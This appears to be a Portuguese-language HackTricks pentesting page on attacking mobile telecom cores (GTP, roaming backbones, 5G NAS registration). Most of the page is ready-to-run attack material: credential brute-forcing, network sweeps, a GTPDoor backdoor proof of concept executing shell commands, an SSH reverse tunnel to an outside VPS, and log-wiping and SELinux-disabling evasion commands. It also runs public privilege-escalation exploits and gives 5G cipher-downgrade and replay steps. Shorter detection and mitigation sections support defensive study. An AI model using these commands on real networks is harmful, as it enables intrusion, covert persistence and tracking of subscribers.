12 KiB
Exploração de Redes de Telecom (GTP / Ambientes de Roaming)
{{#include ../../banners/hacktricks-training.md}}
Note
Os protocolos do core móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como trafegam sobre UDP simples com quase nenhuma autenticação, qualquer foothold dentro do perímetro de uma telecom geralmente pode atingir diretamente os planos de sinalização core. As notas a seguir reúnem truques ofensivos observados na natureza contra SGSN/GGSN, PGW/SGW e outros nós EPC.
1. Recon & Acesso Inicial
1.1 Contas OSS / NE Padrão
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet codificados, como root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Se o dispositivo expõe apenas uma management VRF, pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
1.2 Descoberta de Hosts dentro do GRX/IPX
A maioria dos operadores GRX ainda permite ICMP echo através do backbone. Combine masscan
com as probes UDP gtpv1
integradas para mapear rapidamente os listeners GTP-C:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumeração de Assinantes – cordscan
A ferramenta em Go a seguir cria pacotes GTP-C Create PDP Context Request e registra as respostas. Cada resposta revela o atual SGSN / MME que está servindo o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Principais flags:
--imsi
IMSI do assinante alvo--oper
Home / HNI (MCC+MNC)-w
Grava pacotes brutos em pcap
Constantes importantes dentro do binário podem ser alteradas para ampliar as varreduras:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Execução de código sobre GTP – GTPDoor
GTPDoor
é um pequeno serviço ELF que associa-se ao UDP 2123 e analisa cada pacote GTP-C recebido. Quando o payload começa com uma pre-shared tag, o restante é descriptografado (AES-128-CBC) e executado via /bin/sh -c
. O stdout/stderr são exfiltrados dentro de mensagens Echo Response, de modo que nenhuma sessão de saída é criada.
Pacote PoC mínimo (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detecção:
- qualquer host enviando unbalanced Echo Requests para IPs do SGSN
- GTP version flag set to 1 while message type = 1 (Echo) – desvio da especificação
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
inclui um emulador de SGSN capaz de estabelecer um PDP context towards a real GGSN/PGW. Uma vez negociado, o Linux recebe uma nova interface tun0
acessível a partir do roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e coloca você diretamente no plano de dados.
4.2 SSH Reverse Tunnel over Port 53
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando na :53 e retorne mais tarde de casa:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Verifique se GatewayPorts yes
está ativado no VPS.
5. Canais Clandestinos
Canal | Transporte | Decodificação | Notas |
---|---|---|---|
ICMP – EchoBackdoor |
ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, sem tráfego de saída |
DNS – NoDepDNS |
UDP 53 | XOR (key = funnyAndHappy ) encoded in A-record octets |
observa o subdomínio *.nodep |
GTP – GTPDoor |
UDP 2123 | AES-128-CBC blob in private IE | mistura-se com o chatter legítimo de GTP |
Todos os implants implementam watchdogs que timestomp seus binaries e re-spawn se travarem.
6. Cheatsheet de Evasão de Defesa
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation em Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Dica de limpeza:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Caixa de Ferramentas
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling described in previous sections.FScan
: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lightweight SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
O procedimento de registration 5G corre sobre NAS (Non-Access Stratum) em cima de NGAP. Até que a segurança NAS seja ativada via Security Mode Command/Complete, mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança possibilita múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Dicas para laboratório (non-RF):
- Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
- UE: simulador ou UE de teste; decodifique usando Wireshark.
- Ferramentas ativas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtros úteis de exibição no Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite tracking persistente do assinante.
Como testar:
- Capture a primeira mensagem NAS no InitialUEMessage e inspecione o Mobile Identity IE.
- Checks rápidos no Wireshark:
- It should decode as SUCI, not IMSI.
- Filter examples:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
should exist; absence plus presence ofimsi
indicates leak.
O que coletar:
- MCC/MNC/MSIN se expostos; log por UE e rastreie ao longo do tempo/locais.
Mitigação:
- Forçar UEs/USIMs a usar apenas SUCI; alertar em qualquer IMSI/SUPI no NAS inicial.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
- Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.
Problema:
- Como o Registration Request não é integrity protected, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.
Passos ofensivos:
- Interceptar InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
- Com Sni5Gect, hook a mensagem NAS e patch os capability bits antes de encaminhar.
- Observar se o AMF aceita null ciphers/integrity e completa o Security Mode com EEA0/EIA0.
Verificação/visibilidade:
- No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigações (obrigatórias):
- Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência).
- Prefira impor EEA2/EIA2 como mínimo; registre e alerte sobre qualquer contexto de segurança NAS que negocie algoritmos nulos.
9.3 Repetição da initial Registration Request (NAS pré-segurança)
Porque o NAS inicial não tem integridade nem frescor, a InitialUEMessage+Registration Request capturada pode ser repetida para o AMF.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
O que observar:
- Se o AMF aceita o replay e prossegue para Authentication; a falta de validação de freshness/context indica exposição.
Mitigações:
- Aplicar proteção contra replay/vínculo de contexto no AMF; limitar taxa e correlacionar por-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: iniciar um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS.
- Wireshark: verificar as decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration.
- 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra.
- Sni5Gect: live sniff/modify/inject no plano de controle NAS para coagir algoritmos null ou perturbar sequências de authentication.
9.5 Defensive checklist
- Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto puro; bloquear dispositivos/USIMs ofensores.
- Rejeitar EEA0/EIA0 exceto para procedimentos de emergência estritamente definidos; exigir no mínimo EEA2/EIA2.
- Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados.
- Alertar sobre modos de segurança NAS que resultem em algoritmos null ou replays frequentes de InitialUEMessage.
Detection Ideas
- Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
- Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
- Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
- High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
- 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
- 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}